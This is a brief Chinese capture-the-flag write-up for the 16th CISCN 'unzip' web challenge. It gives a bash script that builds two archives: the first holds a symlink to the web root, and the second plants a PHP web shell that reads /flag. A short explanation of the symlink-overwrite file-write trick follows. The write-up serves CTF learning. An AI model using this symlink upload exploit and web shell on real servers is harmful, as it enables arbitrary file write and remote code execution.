第十六届ciscn

WEB

unzip

bash脚本

#!/bin/bash

mkdir unzip
cd unzip
ln -s /var/www/html unzip
zip -ry unzip1.zip unzip
rm unzip
mkdir unzip
echo "<?php @eval(system('cat /flag')); ?>" > unzip/shell.php
zip -ry unzip2.zip unzip

然后分别上传这两个压缩包就可以

 

原理是先上传一个软连接,然后覆盖软链接的同时会将软连接指向的文件或者目录覆盖,从而做到任意文件写入

zip 指令 

-r : 递归压缩

-y : 保留软连接(如果不加会将软连接变成硬链接,而丧失覆盖源文件的功能)